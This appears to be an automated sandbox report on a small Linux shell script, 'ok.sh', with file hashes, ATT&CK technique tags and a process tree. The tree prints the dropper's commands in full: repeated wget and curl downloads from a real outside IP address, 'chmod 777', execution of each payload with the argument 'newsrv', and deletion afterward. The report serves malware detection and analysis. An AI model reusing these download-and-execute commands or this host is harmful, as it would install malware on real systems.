abb381c26520d856f9d7f8ea742675c12c49fb95fbbd325007783153fcc2a617

Analysis

max time kernel
15s
max time network
18s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/06/2026, 13:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260608-q7tcesev4m
SHA256 abb381c26520d856f9d7f8ea742675c12c49fb95fbbd325007783153fcc2a617
MD5 bc885a0ea101489f73e49f4cd771ae33
SHA1 1902896117af024672c4e473199cd51620c39605
SHA512 49e05eaa463899fd87ac1a7cc2a7d10c8a39e38a3330e038f57b768086200755b9f22b61bacc6bedb914f2386b2a04ada6aba3657322d7fa99455679f5a74f5e
TLSH
T13731C99B0B193B984424EAA773B01958D564F5DE209FD7A0FF880C7A92C8549330DB4F
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
670	chmod
716	chmod
732	chmod
766	chmod
781	chmod
789	chmod
796	chmod
803	chmod
773	chmod
810	chmod
817	chmod
824	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/7afd8f	671	ok.sh
/tmp/297a79	718	ok.sh
/tmp/2d6571	734	ok.sh
/tmp/d4a14f	767	ok.sh
/tmp/16466a	774	ok.sh
/tmp/a8611e	782	ok.sh
/tmp/544196	790	ok.sh
/tmp/35754f	797	ok.sh
/tmp/e1502e	804	ok.sh
/tmp/64afa1	811	ok.sh
/tmp/e0a338	818	ok.sh
/tmp/5a1b70	825	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d4a14f	curl
File opened for modification	/tmp/a8611e	curl
File opened for modification	/tmp/5a1b70	curl
File opened for modification	/tmp/7afd8f	curl
File opened for modification	/tmp/16466a	curl
File opened for modification	/tmp/544196	curl
File opened for modification	/tmp/35754f	curl
File opened for modification	/tmp/e1502e	curl
File opened for modification	/tmp/64afa1	curl
File opened for modification	/tmp/e0a338	curl
File opened for modification	/tmp/297a79	curl
File opened for modification	/tmp/2d6571	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://45.205.1.59/7afd8f
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://45.205.1.59/7afd8f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 7afd8f
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/7afd8f
  ./7afd8f newsrv
  2⤵
  PID:671
- /bin/rm
  rm -rf 7afd8f
  2⤵
  PID:673
- /bin/rm
  rm -rf 7afd8f.1
  2⤵
  PID:674
- /usr/bin/wget
  wget http://45.205.1.59/297a79
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://45.205.1.59/297a79
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod 777 297a79
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/297a79
  ./297a79 newsrv
  2⤵
  PID:718
- /bin/rm
  rm -rf 297a79
  2⤵
  PID:720
- /bin/rm
  rm -rf 297a79.1
  2⤵
  PID:722
- /usr/bin/wget
  wget http://45.205.1.59/2d6571
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://45.205.1.59/2d6571
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 2d6571
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/2d6571
  ./2d6571 newsrv
  2⤵
  PID:734
- /bin/rm
  rm -rf 2d6571
  2⤵
  PID:736
- /bin/rm
  rm -rf 2d6571.1
  2⤵
  PID:738
- /usr/bin/wget
  wget http://45.205.1.59/d4a14f
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://45.205.1.59/d4a14f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 d4a14f
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/d4a14f
  ./d4a14f newsrv
  2⤵
  PID:767
- /bin/rm
  rm -rf d4a14f
  2⤵
  PID:769
- /bin/rm
  rm -rf d4a14f.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://45.205.1.59/16466a
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://45.205.1.59/16466a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 16466a
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/16466a
  ./16466a newsrv
  2⤵
  PID:774
- /bin/rm
  rm -rf 16466a
  2⤵
  PID:776
- /bin/rm
  rm -rf 16466a.1
  2⤵
  PID:777
- /usr/bin/wget
  wget http://45.205.1.59/a8611e
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://45.205.1.59/a8611e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 a8611e
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/a8611e
  ./a8611e newsrv
  2⤵
  PID:782
- /bin/rm
  rm -rf a8611e
  2⤵
  PID:784
- /bin/rm
  rm -rf a8611e.1
  2⤵
  PID:785
- /usr/bin/wget
  wget http://45.205.1.59/544196
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://45.205.1.59/544196
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 544196
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/544196
  ./544196 newsrv
  2⤵
  PID:790
- /bin/rm
  rm -rf 544196
  2⤵
  PID:792
- /bin/rm
  rm -rf 544196.1
  2⤵
  PID:793
- /usr/bin/wget
  wget http://45.205.1.59/35754f
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://45.205.1.59/35754f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 35754f
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/35754f
  ./35754f newsrv
  2⤵
  PID:797
- /bin/rm
  rm -rf 35754f
  2⤵
  PID:799
- /bin/rm
  rm -rf 35754f.1
  2⤵
  PID:800
- /usr/bin/wget
  wget http://45.205.1.59/e1502e
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://45.205.1.59/e1502e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod 777 e1502e
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/e1502e
  ./e1502e newsrv
  2⤵
  PID:804
- /bin/rm
  rm -rf e1502e
  2⤵
  PID:806
- /bin/rm
  rm -rf e1502e.1
  2⤵
  PID:807
- /usr/bin/wget
  wget http://45.205.1.59/64afa1
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://45.205.1.59/64afa1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 64afa1
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/64afa1
  ./64afa1 newsrv
  2⤵
  PID:811
- /bin/rm
  rm -rf 64afa1
  2⤵
  PID:813
- /bin/rm
  rm -rf 64afa1.1
  2⤵
  PID:814
- /usr/bin/wget
  wget http://45.205.1.59/e0a338
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://45.205.1.59/e0a338
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 e0a338
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/e0a338
  ./e0a338 newsrv
  2⤵
  PID:818
- /bin/rm
  rm -rf e0a338
  2⤵
  PID:820
- /bin/rm
  rm -rf e0a338.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://45.205.1.59/5a1b70
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://45.205.1.59/5a1b70
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 5a1b70
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/5a1b70
  ./5a1b70 newsrv
  2⤵
  PID:825
- /bin/rm
  rm -rf 5a1b70
  2⤵
  PID:827
- /bin/rm
  rm -rf 5a1b70.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7afd8f

Path /tmp/7afd8f
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads